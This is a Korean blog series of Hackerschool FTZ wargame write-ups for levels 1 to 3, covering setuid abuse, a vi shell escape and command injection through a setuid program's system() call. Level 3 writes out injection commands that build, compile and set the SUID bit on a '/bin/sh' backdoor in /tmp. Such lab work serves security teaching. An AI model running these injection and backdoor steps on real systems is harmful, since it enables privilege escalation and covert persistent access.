'FTZ'에 해당되는 글 3건

  1. 2016.07.21 해커스쿨 FTZ Level3 풀이 1
  2. 2016.07.21 해커스쿨 FTZ Level2 풀이
  3. 2016.04.25 해커스쿨 FTZ Level1 풀이
2016. 7. 21. 22:04 :: 문제풀이/Hacker School

 ||| Chapter 03 :: system() 함수의 위험성 |||

 

 

안녕하세요. Message입니다. Lv3 달립니다!

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 접속

Level3에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level3 / can you fly?

autodig라는 파일의 소스라는 말과 함께 해당 소스를 이용하여 level4의 권한을 얻으라고 합니다.

그리고 2개의 힌트를 더주었군요

+힌트1) 동시에 여러 명령어를 사용하려면?

+힌트2) 문자열 형태로 명령어를 전달하려면?

 

2) dig / nslookup

dig는 nslookup과 같은 명령어지만, 유닉스 계열에 탑재된 명령어 입니다.

사용방법은  dig @DNS서버IP 도메인  입니다.

이렇게보면 잘 알 수 없으니 KT DNS서버를 이용하여 질의해봅니다.

결과값은 아래와 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 공격대상 찾기

주어진 autodig 소스코드를 분석해보면 아래와 같은 행위를 합니다.

1) 사용자 입력을 받고, 인자가 2개가 아니면 오류를 출력한다.

2) "dig @"를 cmd로 복사하고, 나머지 인자들을 strcat() 함수를 이용하여 이어붙힌다.

3) 마지막에 " version.bind chaos txt" 문자열을 이어붙힌다.

4) system() 명령어를 이용하여 dig 동작을 수행한다.

 

이제 동작의 흐름을 알았으니 본격적으로 공격을 어떻게 할 것인지 궁리합니다.

일단 지금까지 배운게 있으니, find 명령어를 이용하여 Level4의 권한을 가진 파일을 찾아봅니다.

아래와 같은 결과값이 나왔습니다.

 

2) 공격대상 파일 기능 분석

해당 소스파일이 dig명령어와 동일한 기능을 수행하는지 살펴봅니다.

아래와 같이 결과값이 동일한 것을 알 수 있습니다.

  

 

3) 공격

원본 소스코드가 힌트로 제공되었으므로 별도의 리버싱 과정을 거치지 않고

system() 함수를 이용한 공격을 시도해보았습니다.

유닉스 계열은 세미콜론(;)을 이용하면 여러개의 명령어를 수행할 수 있습니다.

예를들어 세미콜론을 이용하여 id값을 두번 출력하고 싶다면 아래와 같이 하면 됩니다.

 

이와같은 원리를 이용하여 소스코드 내부에서 실행되는 system() 함수에

여러개의 명령어를 입력해보고자 시도해보았습니다.

아래와같이 ip값을 인자로 넘겨준뒤 세미콜론을 이용하여 id명령어를 입력하였고,

SQL Injection의 원리처럼 뒤에 값은 샾(#)을 이용하여 주석처리 해보았습니다.

 

하지만 이상하게 Level이 3으로 나오더군요

곰곰히 생각해보니 세미콜론을 붙이면 해당 소스코드의 system() 함수에 전달되는것이 아니라,

"/bin/autodig 16.126.63.1" 까지만 system() 함수로 실행되고

"id" 명령어는 해당 프로그램이 종료된 이후에 cmd상에서 실행된다는 결론을 내렸습니다.

이와같은 문제점을 해결하려면 system() 함수에 id명령어까지 들어가야 한다는 소리인데,

이를 해결하려면 인자값들을 쌍따옴표("")로 묶어주어 SETUID가 걸린 system() 함수에서 실행되게 만들어야 합니다.

즉, 아래와같이 실행될겁니다.

- system(dig @168.126.63.1; id; #version.bind chaos txt)

     (중략)

 

id값이 Level4로 나왔습니다.

좀더 깔끔한 해킹을 위해서 sh 명령어를 넣어주면 Level4의 쉘을 얻을 수 있고

아래와 같이 my-pass 명령어를 이용하여 다음레벨 패스워드를 얻을 수 있습니다.

 

 

---------------------------------------------------------

03. 보너스

---------------------------------------------------------

위의 방법에는 매번 autodig를 이용하여 level4의 권한을 얻어야 한다는 번거로움이 있습니다.

따라서 Level1과 같이 백도어를 만들어 놓으면 편리합니다.

라인수를 줄이기 위해 DNS 서버 IP는 127.0.0.1로 지정하고

아래와 같은 내용을 넣습니다.

------------------------------------------------

int main(){

char *cmd[2];

cmd[0] = \"/bin/sh\";

cmd[1] = (void *)0;

setreuid(3004,3004);

execve(cmd[0], cmd, cmd[1]);

}

------------------------------------------------

 

위 내용을 한줄로 표현하면 아래와 같습니다.

처음엔 한줄에 다 적어보려다가 Segmentation fault가 나서 세줄로 바꿨습니다.

(복사해서 커맨드에 마우스 우클릭하면 붙여넣기가 됩니다.)

 

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";' > /tmp/superBackdoor.c; #( > : 파일출력 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'cmd[1]=(void *)0;setreuid(3004,3004);' >> /tmp/superBackdoor.c; #" ( >> : 이어쓰기 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'execve(cmd[0],cmd, cmd[1]); };' >> /tmp/superBackdoor.c; #( >> : 이어쓰기 )

 

만들어진 파일은 아래와 같이 컴파일 합니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; gcc -o /tmp/superBackdoor /tmp/superBackdoor.c; #"

ls

------------------------------------------------------------------------------------------------

Tip. 파일삭제

적다가 실수가 나서, 파일을 지우려고 했더니 그것도 권한이 필요하다고 하더군요..ㅜ

[level3@ftz level3]$ /bin/autodig "127.0.0.1; rm /tmp/superBackdoor.c; #"

------------------------------------------------------------------------------------------------

 

파일을 실행하고 id 명령어를 입력하면 아직 Level3인것을 볼 수 있습니다.

아직 SUID를 설정하지 않았기 때문이라고 합니다.

 

 

SUID를 설정해주고 다시 실행하면 Level4의 쉘을 얻을 수 있습니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; chmod 6755 /tmp/superBackdoor; #

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

system() 함수의 기능을 이용한 문제였습니다.

유닉스계열 OS에 대해 잘 알아야 취약점도 발견할 수 있음을 다시 깨닫게 됩니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 7. 21. 18:56 :: 문제풀이/Hacker School

 

 ||| Chapter 02 :: 해킹의 시작 |||

 

 

안녕하세요. Message입니다.

Lv1 끝내고 또 손을 놔버렸네요...달려야겠습니다.

이번 챕터는 제목이 인상적이네요..ㅎㅎ

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level2에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level2 / hacker or cracker

 

텍스트 파일 편집이라고 하니 VI편집기를 말하는것 같습니다.

VI편집기로 쉘의 명령을 실행시킬 수 있을까요?

 

 

Tip. VI편집기의 "명령어 실행" 기능

VI텍스트편집기에서 저장하고 나오기 위해 무심코  :wq!  명령어를 사용해왔습니다.

하지만 여기서 아래와 같이  :!명령어  를 입력하면 어떻게 될까요? 

 

바로 아래와 같이 잠시 VI텍스트편집기를 빠져나와서 해당 결과를 보여줍니다.

 

이후에 엔터를 치면 다시 VI편집기로 돌아오게됩니다.

 

또한 여기서 r를 덧붙여서  :r!명령어  를 입력하면 아래와 같이 결과값을 VI편집기에 추가할 수 있습니다. 

 

유닉스시스템은 CLI기반이기 때문에 문서를 편집하다가 시스템으로 되돌아가

다른 작업을 해야 할 경우 문서를 닫고 나갔다가 다시 되돌아와야 한다는 번거로움이 있습니다.

그래서 이와 같은 "명령어 실행" 기능이 존재하는 것입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에서 사용했던 find 명령어를 이용하여 Level3의 setuid를 가진 파일을 찾아봅니다.

--------------------------------------------------------------------------

옵션1)  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2)  -user level3    -->  level3의 권한

옵션3)   2> /dev/null  -->  에러제거 옵션

--------------------------------------------------------------------------

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

Permission을 확인해보면 SUID가 설정되어 있음을 확인할 수 있습니다  :  -rwsr-x---

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

일반적인 VI 편집기로 보입니다.

VI편집기에서 사용되는 명령어 몇가지를 입력해 보니 정상동작합니다.

 

하지만 실행파일의 이름이 vi가 아닌 editor이므로 실제 vi가 맞는지 확인해보겠습니다.

특정명렁어의 위치를 찾아주는 명령어는  which  입니다.

 

해당 경로를 통해서 editor와 vim파일의 크기를 비교해보면 서로 다른 파일임을 알 수 있습니다.

vi와 vim까지 확인합니다.

 

vim이나 vi 파일에 링크를 걸어서 사용한 것도 아니며, 오히려 크기가 더 작습니다.

하지만 editor를 동작시키면 VI편집기임이 분명합니다.

그렇다면 해당 editor에서 id 명령어를 쳐보고 어떤 결과를 리턴하는지 살펴보면

아래와같이 Level3의 id가 찍히는 것을 알 수 있습니다.

 

공격방법을 알았으니  :!my-pass  명령어를 editor에서 실행시켜 다음 레벨의 비밀번호를 알아냅니다.

 

완전히 쉘을 따서 지속적인 Level3의 권한을 얻고싶다면  !sh  명령어를 이용하면 됩니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

---------------------------------------------------------------------------------------------------------------------

① 스택을 구성한다

setudi(3003,3003)을 이용해 실행되는 파일의 User ID 권한을 Level3 계정으로 설정

system() 함수를 이용해 VI 편집기를 실행한다. 즉 Level3의 권한으로 VI편집기를 실행

---------------------------------------------------------------------------------------------------------------------

 

 

3) 주요 함수 분석

 

① setuid

함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

0xbbb(3003)을 넣어줍니다. 즉, setuid(3003, 3003)을 의미하는 것이며

이것은 실행되는 파일의 User ID 권한을 Level3 계정으로 설정하는 것을 의미합니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

system

system() 함수에 들어가는 인자값을 찍어보니 "/bin/vi" 입니다.

setuid를 설정하고 나서 system함수로 vi를 실행하는 것이 해당 파일의 핵심이었습니다.

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

 

VI 편집기에서 명령어 실행이 가능한 부분을 이용한 문제였습니다.

하나씩 알아가는 재미가 있네요 ㅎㅎ

감사합니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 4. 25. 19:58 :: 문제풀이/Hacker School

 

 ||| Chapter 01 :: 백도어란 무엇인가? |||

 

안녕하세요. Message입니다.

시스템해킹에 대해서 배우고자 해커스쿨의 FTZ를 이용한 문제풀이를 포스팅하려 합니다.

Unix 계열 운영체제는 잠시 손을 놓으면 어색해지지만... 이번 기회를 통해 다시 친숙해지려 합니다.

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

 

------------------------------------------------------------------------------------------------------------------------------------------

00. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가 하려고 하면 항상 환경 세팅에서 진이 빠지는 경우가 많은듯 합니다.

저같은 경우 한글깨짐 현상과 telnet 접속 시 자꾸 오류가 발생하더군요.

 

1) 한글깨짐

만약 한글이 깨진다면 아래와 같이 putty의 translation 속성을 Use font encoding을 바꿔줍니다.

 

2) Telnet 접속 안될 때

FTZ서버에 ping은 가지만 Telnet 접속이 안되더군요

방화벽과 백신도 꺼보고, 기능추가에서 telnet 활성화도 해보고.. 로컬 환경도 구축해봤지만 안됐습니다.

그래서 Telnet 접속을 포기하고 22번 포트로 SSH 접속했습니다. 실습하는데 지장은 없으니

안되시는 분들은 이렇게라도...

 

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에 접속하여 주어진 문제환경을 파악합니다.

1개의 파일과 2개의 폴더가 존재합니다.

 

레벨마다 주어지는 hint 파일의 내용을 확인합니다.

hint 파일의 내용은 아래와 같고, Level2 권한에 setuid가 걸린 파일을 찾는 내용입니다.

Tip. SETUID

setuid가 설정되면 소유자가 아니더라도 실행 시 일시적으로 소유자의 권한으로 실행됩니다.

파일을 실행할 때 사용자의 UID를 사용하는 것이 아니라 파일의 inode 정보로부터 파일 소유자의 UID를 받아서 실행합니다. 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가를 찾는 명령어는 find 입니다.

하지만 우리가 찾는 파일은 setuid가 걸린 파일이므로 -perm 옵션과 -user 옵션을 사용합니다.

옵션1  :  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2  :  -user level2    -->  level2 or level1의 권한

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

 

 

하지만 오류가 많이 떠서 한번에 식별하기가 어렵습니다.

검색 결과 중에서 에러가 발생한 결과를 제외하는 옵션 2> /dev/null을 사용해줍니다.

여기서 숫자 2는 표준에러(STDERR)를 뜻하고, /dev/null은 휴지통을 뜻합니다. (에러를 휴지통에 슝~)

해당 옵션을 사용한 결과는 아래와 같습니다.

 

파일의 허가권(Permission)과 소유권(Ownership)을 살펴보면 주목해야할 점이 있습니다.

1) 허가권 : SUID가 설정되어 있으므로 해당 파일을 실행하면 파일의 소유자 권한으로 실행됩니다 --> -rwsr-x---

2) 소유권 : 그룹 Level1이 해당 파일을 소유하므로 Level1인 우리도 저 파일을 실행시킬 수 있습니다. -rwsr-x--- 1 level2 level1

정리하면, 우리는 저파일을 실행시킬 수 있으며 실행시킬경우 Level2의 권한으로 실행할 수 있다는 점입니다.

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

 

my-pass와 chmod는 제외하라고 되어 있으므로, bash 명령어로 Level2의 권한을 획득합니다.

그럼 1회성 권한이 아닌, 지속적인 Level2 권한으로 원하는 행위를 할 수 있습니다.

FTZ에서 제공하는 my-pass명령어를 이용하여 Level2의 암호를 알아냅니다.

답 : hacker or cracker

 

 

Tip. PERM의 플러스(+), 마이너스(-) 차이

find 명령어의 perm 옵션에 달린 플러스(+)와 마이너스(-)의 차이는

입력하는 숫자에 해당하는 퍼미션을 완벽하게 만족하느냐? 아니면 일부만 만족해도 되느냐? 입니다.

이해하기 어려우니 해커스쿨에 있는 글에 따라 저도 테스트해보았습니다.

먼저 아래와 같이 touch 명령어를 이용하여 7개의 파일을 만듭니다.

그리고 ls -al 명령어로 퍼미션을 확인합니다.

 

이후 마이너스(-) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 해당하는 wx(쓰기, 실행) 권한이 모두 설정되어 있는 파일만 검색이 되었습니다.

한마디로 깐깐한 검색이 되겠죠.

 

이후 플러스(+) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 걸려있는 w(쓰기), x(실행) 권한중 한개라도 설정되어 있으면 검색이 됩니다.

한마디로 너그러운(?) 검색이 되겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

원래 bash쉘을 획득하여 my-pass를 알아내면 다음 단계로 넘어가지만,

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

system 함수로 명령어를 실행

chdir 함수로 디렉터리를 이동

printf 함수로 문자열을 출력

fgets 함수를 이용한 사용자 입력

strstr 함수를 이용하여 금지문자열과 입력 받은 사용자 문자열 비교 : my-pass, chmod

금지명령어가 아닌경우 실행 루틴으로 이동

setreuid(3002, 3002) 함수를 이용해 실행되는 파일의 User ID 권한을 Level2 계정으로 설정

system 함수를 이용해서 입력받은 문자열을 리눅스의 명령어로 실행

 

 

3) 주요 함수 분석

① printf

disas main 명령어를 이용하여 아래로 내려가다 보면 printf 함수가 많이 나옵니다.

내용은 아까 우리가 보았던 "레벨 2의권한으로 당신이 원하는...." 을 화면에 찍는 용도입니다.

마지막 printf 함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

아래와 같이 level2의 쉘처럼 "[level2@ftz level2]$" 를 프린트 하는것을 볼 수 있습니다.

한마디로 실제 쉘이 아니라, 프로그램이 의도적으로 printf 한 내용이라는 것을 알 수 있습니다.

 

setreuid + system

프로그램의 마지막 부분을 보면 setreuid와 system 함수를 볼 수 있습니다.

setreuid 함수에 들어가는 인자값은 UID와 GID값이고, 둘다 0xbba(3002) 입니다.

 

3002는 Level2의 UID값입니다. 참고로 Level1은 3001입니다.

해당사항은 id명령어나 /etc/password 를 확인하면 알 수 있습니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

 

4) 결과정리

정리하면, setreuid 함수를 이용하여 Level2의 권한을 획득한 뒤, 

뒤에 따라나오는 system 함수를 실행하는 것이 프로그램의 주요 기능입니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
posted by Red_Message